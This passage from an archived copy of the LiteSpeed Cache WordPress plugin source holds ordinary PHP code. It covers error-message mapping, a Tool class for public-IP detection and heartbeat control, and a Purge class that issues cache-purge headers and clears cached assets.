'Not enough parameters. Please check if the QUIC.cloud connection is set correctly', 'litespeed-cache' ); break; case 'unfinished_queue': $msg = __( 'There is proceeding queue not pulled yet.', 'litespeed-cache' ); break; case 0 === strpos( $code, 'unfinished_queue ' ): $msg = sprintf( __( 'There is proceeding queue not pulled yet. Queue info: %s.', 'litespeed-cache' ), '<code>' . substr( $code, strlen( 'unfinished_queue ' ) ) . '</code>' ); break; case 'err_alias': $msg = __( 'The site is not a valid alias on QUIC.cloud.', 'litespeed-cache' ); break; case 'site_not_registered': $msg = __( 'The site is not registered on QUIC.cloud.', 'litespeed-cache' ); break; case 'err_key': $msg = __( 'The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.', 'litespeed-cache' ); break; case 'heavy_load': $msg = __( 'The current server is under heavy load.', 'litespeed-cache' ); break; case 'redetect_node': $msg = __( 'Online node needs to be redetected.', 'litespeed-cache' ); break; case 'err_overdraw': $msg = __( 'Credits are not enough to proceed the current request.', 'litespeed-cache' ); break; case 'W': $msg = __( '%s file not writable.', 'litespeed-cache' ); break; case 'HTA_DNF': if ( ! is_array( $args ) ) { $args = [ '<code>' . $args . '</code>' ]; } $args[] = '.htaccess'; $msg = __( 'Could not find %1$s in %2$s.', 'litespeed-cache' ); break; case 'HTA_LOGIN_COOKIE_INVALID': $msg = sprintf( __( 'Invalid login cookie. Please check the %s file.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_BK': $msg = sprintf( __( 'Failed to back up %s file, aborted changes.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_R': $msg = sprintf( __( '%s file not readable.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_W': $msg = sprintf( __( '%s file not writable.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_GET': $msg = sprintf( __( 'Failed to get %s file contents.', 'litespeed-cache' ), '.htaccess' ); break; case 'failed_tb_creation': $msg = __( 'Failed to create table %1$s! SQL: %2$s.', 'litespeed-cache' ); break; case 'crawler_disabled': $msg = __( 'Crawler disabled by the server admin.', 'litespeed-cache' ); break; case 'try_later': // QC error code $msg = __( 'Previous request too recent. Please try again later.', 'litespeed-cache' ); break; case 0 === strpos( $code, 'try_later ' ): $msg = sprintf( __( 'Previous request too recent. Please try again after %s.', 'litespeed-cache' ), '<code>' . Utility::readable_time( substr( $code, strlen( 'try_later ' ) ), 3600, true ) . '</code>' ); break; case 'waiting_for_approval': $msg = __( 'Your application is waiting for approval.', 'litespeed-cache' ); break; case 'callback_fail_hash': $msg = __( 'The callback validation to your domain failed due to hash mismatch.', 'litespeed-cache' ); break; case 'callback_fail': $msg = __( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.', 'litespeed-cache' ); break; case substr( $code, 0, 14 ) === 'callback_fail ': $msg = __( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: ', 'litespeed-cache' ) . substr( $code, 14 ); break; case 'forbidden': $msg = __( 'Your domain has been forbidden from using our services due to a previous policy violation.', 'litespeed-cache' ); break; case 'err_dns_active': $msg = __( 'You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.', 'litespeed-cache' ); break; default: $msg = __( 'Unknown error', 'litespeed-cache' ) . ': ' . $code; break; } if ( null !== $args ) { $msg = is_array( $args ) ? vsprintf( $msg, $args ) : sprintf( $msg, $args ); } if ( isset( self::$code_set[ $code ] ) ) { $msg = 'ERROR ' . self::$code_set[ $code ] . ': ' . $msg; } return $msg; } } ������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/tool.cls.php������������������������������������������������������������0000644�����������������00000010254�15233526476�0014320 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The tools * * @since 3.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Tool * * Provides utility functions for LiteSpeed Cache, including IP detection and heartbeat control. * * @since 3.0 */ class Tool extends Root { const LOG_TAG = '[Tool]'; /** * Get public IP * * Retrieves the public IP address of the server. * * @since 3.0 * @access public * @return string The public IP address or an error message. */ public function check_ip() { self::debug( '✅ check_ip' ); $response = wp_safe_remote_get( 'https://cyberpanel.sh/?ip', [ 'headers' => [ 'User-Agent' => 'curl/8.7.1', ], ] ); if ( is_wp_error( $response ) ) { return esc_html__( 'Failed to detect IP', 'litespeed-cache' ); } $ip = trim( $response['body'] ); self::debug( 'result [ip] ' . $ip ); if ( Utility::valid_ipv4( $ip ) ) { return $ip; } return esc_html__( 'Failed to detect IP', 'litespeed-cache' ); } /** * Heartbeat Control * * Configures WordPress heartbeat settings for frontend, backend, and editor. * * @since 3.0 * @access public */ public function heartbeat() { add_action( 'wp_enqueue_scripts', [ $this, 'heartbeat_frontend' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'heartbeat_backend' ] ); add_filter( 'heartbeat_settings', [ $this, 'heartbeat_settings' ] ); } /** * Heartbeat Control frontend control * * Manages heartbeat settings for the frontend. * * @since 3.0 * @access public */ public function heartbeat_frontend() { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered frontend heartbeat' ); } } /** * Heartbeat Control backend control * * Manages heartbeat settings for the backend and editor. * * @since 3.0 * @access public */ public function heartbeat_backend() { if ( $this->is_editor() ) { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered editor heartbeat' ); } } else { if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) { return; } if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ) { wp_deregister_script( 'heartbeat' ); Debug2::debug( '[Tool] Deregistered backend heartbeat' ); } } } /** * Heartbeat Control settings * * Adjusts heartbeat interval settings based on configuration. * * @since 3.0 * @access public * @param array $settings Existing heartbeat settings. * @return array Modified heartbeat settings. */ public function heartbeat_settings( $settings ) { // Check editor first to make frontend editor valid too if ( $this->is_editor() ) { if ( $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ); } } elseif ( ! is_admin() ) { if ( $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ); } } elseif ( $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) { $settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ); Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ); } return $settings; } /** * Check if in editor * * Determines if the current request is within the WordPress editor. * * @since 3.0 * @access public * @return bool True if in editor, false otherwise. */ public function is_editor() { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $res = is_admin() && Utility::str_hit_array( $request_uri, [ 'post.php', 'post-new.php' ] ); return apply_filters( 'litespeed_is_editor', $res ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/purge.cls.php�����������������������������������������������������������0000644�����������������00000104643�15233526476�0014473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Purge handlers for X-LiteSpeed-Purge. * * @since 1.1.3 * @since 2.2 Refactored. Changed access from public to private for most functions and class variables. * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Purge */ class Purge extends Base { const LOG_TAG = '🧹'; /** * Public purge tags for X-LiteSpeed-Purge. * * @var array<int,string> */ protected $_pub_purge = []; /** * Public purge tags for X-LiteSpeed-Purge2. * * @var array<int,string> */ protected $_pub_purge2 = []; /** * Private purge tags for X-LiteSpeed-Purge (private section). * * @var array<int,string> */ protected $_priv_purge = []; /** * Whether to purge only current URL (QS helper). * * @var bool */ protected $_purge_single = false; const X_HEADER = 'X-LiteSpeed-Purge'; const X_HEADER2 = 'X-LiteSpeed-Purge2'; const DB_QUEUE = 'queue'; const DB_QUEUE2 = 'queue2'; const TYPE_PURGE_ALL = 'purge_all'; const TYPE_PURGE_ALL_LSCACHE = 'purge_all_lscache'; const TYPE_PURGE_ALL_CSSJS = 'purge_all_cssjs'; const TYPE_PURGE_ALL_LOCALRES = 'purge_all_localres'; const TYPE_PURGE_ALL_CCSS = 'purge_all_ccss'; const TYPE_PURGE_ALL_UCSS = 'purge_all_ucss'; const TYPE_PURGE_ALL_LQIP = 'purge_all_lqip'; const TYPE_PURGE_ALL_VPI = 'purge_all_vpi'; const TYPE_PURGE_ALL_AVATAR = 'purge_all_avatar'; const TYPE_PURGE_ALL_OBJECT = 'purge_all_object'; const TYPE_PURGE_ALL_OPCACHE = 'purge_all_opcache'; const TYPE_PURGE_FRONT = 'purge_front'; const TYPE_PURGE_UCSS = 'purge_ucss'; const TYPE_PURGE_FRONTPAGE = 'purge_frontpage'; const TYPE_PURGE_PAGES = 'purge_pages'; const TYPE_PURGE_ERROR = 'purge_error'; /** * Init hooks. * * @since 3.0 * @return void */ public function init() { $purge_post_events = apply_filters( 'litespeed_purge_post_events', [ 'delete_post', 'wp_trash_post', 'wp_update_comment_count', ] ); foreach ( $purge_post_events as $event ) { add_action( $event, [ $this, 'purge_post' ] ); } // Purge post only when status is/was publish. add_action( 'transition_post_status', [ $this, 'purge_publish' ], 10, 3 ); add_action( 'wp_update_comment_count', [ $this, 'purge_feeds' ] ); if ( $this->conf( self::O_OPTM_UCSS ) ) { add_action( 'edit_post', __NAMESPACE__ . '\Purge::purge_ucss' ); } } /** * Only purge publish related status post. * * @since 3.0 * @param string $new_status New status. * @param string $old_status Old status. * @param \WP_Post $post Post object. * @return void */ public function purge_publish( $new_status, $old_status, $post ) { if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } $this->purge_post( $post->ID ); } /** * Handle all request actions from main cls. * * @since 1.8 * @since 7.6 Add VPI clear. * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_PURGE_ALL: $this->_purge_all(); break; case self::TYPE_PURGE_ALL_LSCACHE: $this->_purge_all_lscache(); break; case self::TYPE_PURGE_ALL_CSSJS: $this->_purge_all_cssjs(); break; case self::TYPE_PURGE_ALL_LOCALRES: $this->_purge_all_localres(); break; case self::TYPE_PURGE_ALL_CCSS: $this->_purge_all_ccss(); break; case self::TYPE_PURGE_ALL_UCSS: $this->_purge_all_ucss(); break; case self::TYPE_PURGE_ALL_LQIP: $this->_purge_all_lqip(); break; case self::TYPE_PURGE_ALL_VPI: $this->_purge_all_vpi(); break; case self::TYPE_PURGE_ALL_AVATAR: $this->_purge_all_avatar(); break; case self::TYPE_PURGE_ALL_OBJECT: $this->_purge_all_object(); break; case self::TYPE_PURGE_ALL_OPCACHE: $this->purge_all_opcache(); break; case self::TYPE_PURGE_FRONT: $this->_purge_front(); break; case self::TYPE_PURGE_UCSS: $this->_purge_ucss(); break; case self::TYPE_PURGE_FRONTPAGE: $this->_purge_frontpage(); break; case self::TYPE_PURGE_PAGES: $this->_purge_pages(); break; case ( 0 === strpos( $type, self::TYPE_PURGE_ERROR ) ): $this->_purge_error( substr( $type, strlen( self::TYPE_PURGE_ERROR ) ) ); break; default: break; } Admin::redirect(); } /** * Shortcut to purge all lscache. * * @since 1.0.0 * @param string|false $reason Optional reason to log. * @return void */ public static function purge_all( $reason = false ) { self::cls()->_purge_all( $reason ); } /** * Purge all caches (LSCache/CSS/JS/localres/object/opcache). * * @since 2.2 * @param string|false $reason Optional log string. * @return void */ private function _purge_all( $reason = false ) { $this->_purge_all_lscache( true ); $this->_purge_all_cssjs( true ); $this->_purge_all_localres( true ); $this->_purge_all_object( true ); $this->purge_all_opcache( true ); if ( $this->conf( self::O_CDN_CLOUDFLARE_CLEAR ) ) { CDN\Cloudflare::purge_all( 'Purge All' ); } $reason = is_string( $reason ) ? "( $reason )" : ''; self::debug( 'Purge all ' . $reason, 3 ); $msg = __( 'Purged all caches successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_all' ); } /** * Shortcut to purge lscache. * * @since 7.7 * @param string|false $reason Optional reason to log. * @return void */ public static function purge_all_lscache( $reason = false ) { if ( $reason ) { self::debug( 'Purge lscache ' . $reason, 3 ); } self::cls()->_purge_all_lscache(); } /** * Alerts LiteSpeed Web Server to purge all pages. * * @since 2.2 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_lscache( $silence = false ) { $this->_add( '*' ); do_action( 'litespeed_purged_all_lscache' ); if ( ! $silence ) { $msg = __( 'Notified LiteSpeed Web Server to purge all LSCache entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all critical CSS. * * @since 2.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_ccss( $silence = false ) { do_action( 'litespeed_purged_all_ccss' ); $this->cls( 'CSS' )->rm_cache_folder( 'ccss' ); $this->cls( 'Data' )->url_file_clean( 'ccss' ); if ( ! $silence ) { $msg = __( 'Cleaned all Critical CSS files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all unique CSS. * * @since 2.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_ucss( $silence = false ) { do_action( 'litespeed_purged_all_ucss' ); $this->cls( 'CSS' )->rm_cache_folder( 'ucss' ); $this->cls( 'Data' )->url_file_clean( 'ucss' ); if ( ! $silence ) { $msg = __( 'Cleaned all Unique CSS files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge one UCSS by URL or post ID. * * @since 4.5 * @param int|string $post_id_or_url Post ID or URL. * @return void */ public static function purge_ucss( $post_id_or_url ) { self::debug( 'Purge a single UCSS: ' . $post_id_or_url ); // If is post_id, generate URL. if ( ! preg_match( '/\D/', (string) $post_id_or_url ) ) { $post_id_or_url = get_permalink( (int) $post_id_or_url ); } $post_id_or_url = (string) $post_id_or_url; $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $post_id_or_url = trailingslashit( (string) $post_id_or_url ); } $existing_url_files = Data::cls()->mark_as_expired( $post_id_or_url, true ); if ( $existing_url_files ) { self::cls( 'UCSS' )->add_to_q( $existing_url_files ); } } /** * Delete all LQIP images. * * @since 3.0 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_lqip( $silence = false ) { do_action( 'litespeed_purged_all_lqip' ); $this->cls( 'Placeholder' )->rm_cache_folder( 'lqip' ); if ( ! $silence ) { $msg = __( 'Cleaned all LQIP files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all VPI data generated * * @since 7.6 * @param bool $silence If true, don't show admin notice. * @return void * @access private */ private function _purge_all_vpi( $silence = false ) { global $wpdb; do_action( 'litespeed_purged_all_vpi' ); $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->prepare( 'DELETE FROM `' . $wpdb->postmeta . '` WHERE meta_key = %s', VPI::POST_META ) ); $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->prepare( 'DELETE FROM `' . $wpdb->postmeta . '` WHERE meta_key = %s', VPI::POST_META_MOBILE ) ); $this->cls( 'Placeholder' )->rm_cache_folder( 'vpi' ); if ( !$silence ) { $msg = __( 'Cleaned all VPI data.', 'litespeed-cache' ); !defined( 'LITESPEED_PURGE_SILENT' ) && Admin_Display::success( $msg ); } } /** * Delete all avatar images * * @since 3.0 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_avatar( $silence = false ) { do_action( 'litespeed_purged_all_avatar' ); // Clear Database table $this->cls( 'Data' )->table_truncate( 'avatar' ); // Remove the folder $this->cls( 'Avatar' )->rm_cache_folder( 'avatar' ); if ( ! $silence ) { $msg = __( 'Cleaned all Gravatar files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all localized resources. * * @since 3.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_localres( $silence = false ) { do_action( 'litespeed_purged_all_localres' ); $this->_add( Tag::TYPE_LOCALRES ); if ( ! $silence ) { $msg = __( 'Cleaned all localized resource entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge CSS/JS assets and related LSCache entries. * * @since 1.2.2 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_cssjs( $silence = false ) { if ( wp_doing_cron() || defined( 'LITESPEED_DID_send_headers' ) ) { self::debug( '❌ Bypassed cssjs delete as header sent (lscache purge after this point will fail) or doing cron' ); return; } $this->_purge_all_lscache( $silence ); // Purge CSSJS must purge lscache too to avoid 404 do_action( 'litespeed_purged_all_cssjs' ); Optimize::update_option( Optimize::ITEM_TIMESTAMP_PURGE_CSS, time() ); $this->_add( Tag::TYPE_MIN ); $this->cls( 'CSS' )->rm_cache_folder( 'css' ); $this->cls( 'CSS' )->rm_cache_folder( 'js' ); $this->cls( 'Data' )->url_file_clean( 'css' ); $this->cls( 'Data' )->url_file_clean( 'js' ); // Clear UCSS queue as it used combined CSS to generate. $this->clear_q( 'ucss', true ); if ( ! $silence ) { $msg = __( 'Notified LiteSpeed Web Server to purge CSS/JS entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge opcode cache. * * @since 1.8.2 * @since 7.3 Added test for opcode cache restriction. * @param bool $silence If true, don't show admin notice. * @return bool True on success. */ public function purge_all_opcache( $silence = false ) { if ( ! Router::opcache_enabled() ) { self::debug( '❌ Failed to reset OPcache due to OPcache not enabled' ); if ( ! $silence ) { $msg = __( 'OPcache is not enabled.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::error( $msg ); } } return false; } if ( Router::opcache_restricted( __FILE__ ) ) { self::debug( '❌ Failed to reset OPcache due to OPcache is restricted. File requesting the clear is not allowed.' ); if ( ! $silence ) { $msg = sprintf( __( 'OPcache is restricted by %s setting.', 'litespeed-cache' ), '<code>restrict_api</code>' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::error( $msg ); } } return false; } if ( ! opcache_reset() ) { self::debug( '❌ Reset OPcache not worked' ); if ( ! $silence ) { $msg = __( 'Reset the OPcache failed.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return false; } do_action( 'litespeed_purged_all_opcache' ); self::debug( 'Reset OPcache' ); if ( ! $silence ) { $msg = __( 'Reset the entire OPcache successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return true; } /** * Purge object cache (public wrapper). * * @since 3.4 * @param bool $silence If true, don't show admin notice. * @return void */ public static function purge_all_object( $silence = true ) { self::cls()->_purge_all_object( $silence ); } /** * Purge object cache. * * @since 1.8 * @param bool $silence If true, don't show admin notice. * @return bool True on success. */ private function _purge_all_object( $silence = false ) { if ( ! defined( 'LSCWP_OBJECT_CACHE' ) ) { self::debug( 'Failed to flush object cache due to object cache not enabled' ); if ( ! $silence ) { $msg = __( 'Object cache is not enabled.', 'litespeed-cache' ); Admin_Display::error( $msg ); } return false; } do_action( 'litespeed_purged_all_object' ); $this->cls( 'Object_Cache' )->flush(); self::debug( 'Flushed object cache' ); if ( ! $silence ) { $msg = __( 'Purge all object caches successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return true; } /** * Add public purge tags for current request. * * @since 1.1.3 * @param string|array<int,string> $tags Tags to add. * @param bool $purge2 Whether to send via X-LiteSpeed-Purge2. * @return void */ public static function add( $tags, $purge2 = false ) { self::cls()->_add( $tags, $purge2 ); } /** * Add tags to purge list. * * @since 2.2 * @param string|array<int,string> $tags Tags. * @param bool $purge2 Use Purge2 header. * @return void */ private function _add( $tags, $purge2 = false ) { if ( ! is_array( $tags ) ) { $tags = [ $tags ]; } $tags = $this->_prepend_bid( $tags ); if ( ! array_diff( $tags, $purge2 ? $this->_pub_purge2 : $this->_pub_purge ) ) { return; } if ( $purge2 ) { $this->_pub_purge2 = array_unique( array_merge( $this->_pub_purge2, $tags ) ); } else { $this->_pub_purge = array_unique( array_merge( $this->_pub_purge, $tags ) ); } self::debug( 'added ' . implode( ',', $tags ) . ( $purge2 ? ' [Purge2]' : '' ), 8 ); // Send purge header immediately or queue if headers already sent or delayed. $curr_built = $this->_build( $purge2 ); if ( defined( 'LITESPEED_CLI' ) ) { // Can't send, already has output, need to save and wait for next run self::update_option($purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built); self::debug( 'CLI request, queue stored: ' . $curr_built ); } else { if ( ! headers_sent() ) { header( $curr_built ); } if ( wp_doing_cron() || defined( 'LITESPEED_DID_send_headers' ) || apply_filters( 'litespeed_delay_purge', false ) ) { self::update_option( $purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built ); self::debug( 'Output existed, queue stored: ' . $curr_built ); } self::debug( $curr_built ); } } /** * Add private purge tags for current request. * * @since 1.1.3 * @param string|array<int,string> $tags Tags. * @return void */ public static function add_private( $tags ) { self::cls()->_add_private( $tags ); } /** * Add private ESI tag to purge list. * * @since 3.0 * @param string $tag ESI tag. * @return void */ public static function add_private_esi( $tag ) { self::add_private( Tag::TYPE_ESI . $tag ); } /** * Add private all tag to purge list. * * @since 3.0 * @return void */ public static function add_private_all() { self::add_private( '*' ); } /** * Add private purge tags. * * @since 2.2 * @param string|array<int,string> $tags Tags. * @return void */ private function _add_private( $tags ) { if ( ! is_array( $tags ) ) { $tags = [ $tags ]; } $tags = $this->_prepend_bid( $tags ); if ( ! array_diff( $tags, $this->_priv_purge ) ) { return; } self::debug( 'added [private] ' . implode( ',', $tags ), 3 ); $this->_priv_purge = array_unique( array_merge( $this->_priv_purge, $tags ) ); // Send header immediately or skip if sent. $built = $this->_build(); if ( $built && ! headers_sent() ) { header( $built ); } } /** * Add current blog ID prefix to tags (multisite). * * @since 4.0 * @param array<int,string> $tags Tags. * @return array<int,string> */ private function _prepend_bid( $tags ) { if ( in_array( '*', $tags, true ) ) { return [ '*' ]; } $curr_bid = is_multisite() ? get_current_blog_id() : ''; foreach ( $tags as $k => $v ) { $tags[ $k ] = $curr_bid . '_' . $v; } return $tags; } /** * Activate `purge single url tag` for Admin QS. * * @since 1.1.3 * @return void */ public static function set_purge_single() { self::cls()->_purge_single = true; do_action( 'litespeed_purged_single' ); } /** * Purge frontend url (based on HTTP_REFERER). * * @since 1.3 * @since 2.2 Access changed from public to private, renamed from `frontend_purge`. * @return void */ private function _purge_front() { if ( empty( $_SERVER['HTTP_REFERER'] ) ) { exit( 'no referer' ); } $ref = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); $this->purge_url( $ref ); do_action( 'litespeed_purged_front', $ref ); wp_safe_redirect( $ref ); exit; } /** * Purge single UCSS (via referer or `url_tag`). * * @since 4.7 * @return void */ private function _purge_ucss() { if ( empty( $_SERVER['HTTP_REFERER'] ) ) { exit( 'no referer' ); } $ref = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); $url_tag = ! empty( $_GET['url_tag'] ) ? sanitize_text_field( wp_unslash( $_GET['url_tag'] ) ) : $ref; // phpcs:ignore WordPress.Security.NonceVerification.Recommended self::debug( 'Purge ucss [url_tag] ' . $url_tag ); do_action( 'litespeed_purge_ucss', $url_tag ); $this->purge_url( $ref ); wp_safe_redirect( $ref ); exit; } /** * Purge the front page. * * @since 1.0.3 * @return void */ private function _purge_frontpage() { $this->_add( Tag::TYPE_FRONTPAGE ); if ( 'LITESPEED_SERVER_OLS' !== LITESPEED_SERVER_TYPE ) { $this->_add_private( Tag::TYPE_FRONTPAGE ); } $msg = __( 'Notified LiteSpeed Web Server to purge the front page.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_frontpage' ); } /** * Purge all pages. * * @since 1.0.15 * @return void */ private function _purge_pages() { $this->_add( Tag::TYPE_PAGES ); $msg = __( 'Notified LiteSpeed Web Server to purge all pages.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_pages' ); } /** * Purge error pages (403/404/500). * * @since 1.0.14 * @param string|false $type Error type. * @return void */ private function _purge_error( $type = false ) { $this->_add( Tag::TYPE_HTTP ); if ( ! $type || ! in_array( (string) $type, [ '403', '404', '500' ], true ) ) { return; } $this->_add( Tag::TYPE_HTTP . $type ); $msg = __( 'Notified LiteSpeed Web Server to purge error pages.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } /** * Purge selected category by slug. * * @since 1.0.7 * @param string $value Category slug. * @return void */ public function purge_cat( $value ) { $val = trim( (string) $value ); if ( '' === $val ) { return; } if ( 0 === preg_match( '/^[a-zA-Z0-9-]+$/', $val ) ) { self::debug( "$val cat invalid" ); return; } $cat = get_category_by_slug( $val ); if ( false === $cat ) { self::debug( "$val cat not existed/published" ); return; } self::add( Tag::TYPE_ARCHIVE_TERM . $cat->term_id ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge category %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_cat', $value ); } /** * Purge selected tag by slug. * * @since 1.0.7 * @param string $val Tag slug. * @return void */ public function purge_tag( $val ) { $val = trim( (string) $val ); if ( '' === $val ) { return; } if ( 0 === preg_match( '/^[a-zA-Z0-9-]+$/', $val ) ) { self::debug( "$val tag invalid" ); return; } $term = get_term_by( 'slug', $val, 'post_tag' ); if ( false === $term ) { self::debug( "$val tag not exist" ); return; } self::add( Tag::TYPE_ARCHIVE_TERM . $term->term_id ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge tag %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_tag', $val ); } /** * Purge selected url (relative allowed). * * @since 1.0.7 * @param string $url URL. * @param bool $purge2 Use Purge2 header. * @param bool $quite If true, do not show admin notice. * @return void */ public function purge_url( $url, $purge2 = false, $quite = false ) { $val = trim( (string) $url ); if ( '' === $val ) { return; } if ( false !== strpos( $val, '<' ) ) { self::debug( "$val url contains <" ); return; } $val = Utility::make_relative( $val ); $hash = Tag::get_uri_tag( $val ); if ( false === $hash ) { self::debug( "$val url invalid" ); return; } self::add( $hash, $purge2 ); if ( ! $quite && ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge url %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_link', $url ); } /** * Purge a list based on admin selection. * * @since 1.0.7 * @return void */ public function purge_list() { if ( ! isset( $_REQUEST[ Admin_Display::PURGEBYOPT_SELECT ], $_REQUEST[ Admin_Display::PURGEBYOPT_LIST ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } $sel = sanitize_text_field( wp_unslash( $_REQUEST[ Admin_Display::PURGEBYOPT_SELECT ] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $list_buf = sanitize_textarea_field( wp_unslash( $_REQUEST[ Admin_Display::PURGEBYOPT_LIST ] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( '' === $list_buf ) { return; } $list_buf = str_replace( ',', "\n", $list_buf ); $raw_list = explode( "\n", $list_buf ); switch ( $sel ) { case Admin_Display::PURGEBY_CAT: $cb = 'purge_cat'; break; case Admin_Display::PURGEBY_PID: $cb = 'purge_post'; break; case Admin_Display::PURGEBY_TAG: $cb = 'purge_tag'; break; case Admin_Display::PURGEBY_URL: $cb = 'purge_url'; break; default: return; } array_map( [ $this, $cb ], $raw_list ); // For redirection (safe copy back to GET). $_GET[ Admin_Display::PURGEBYOPT_SELECT ] = $sel; // phpcs:ignore WordPress.Security.NonceVerification.Recommended } /** * Purge ESI. * * @since 3.0 * @param string $tag ESI tag. * @return void */ public static function purge_esi( $tag ) { self::add( Tag::TYPE_ESI . $tag ); do_action( 'litespeed_purged_esi', $tag ); } /** * Purge a certain post type. * * @since 3.0 * @param string $post_type Post type. * @return void */ public static function purge_posttype( $post_type ) { self::add( Tag::TYPE_ARCHIVE_POSTTYPE . $post_type ); self::add( $post_type ); do_action( 'litespeed_purged_posttype', $post_type ); } /** * Purge all related tags to a post. * * @since 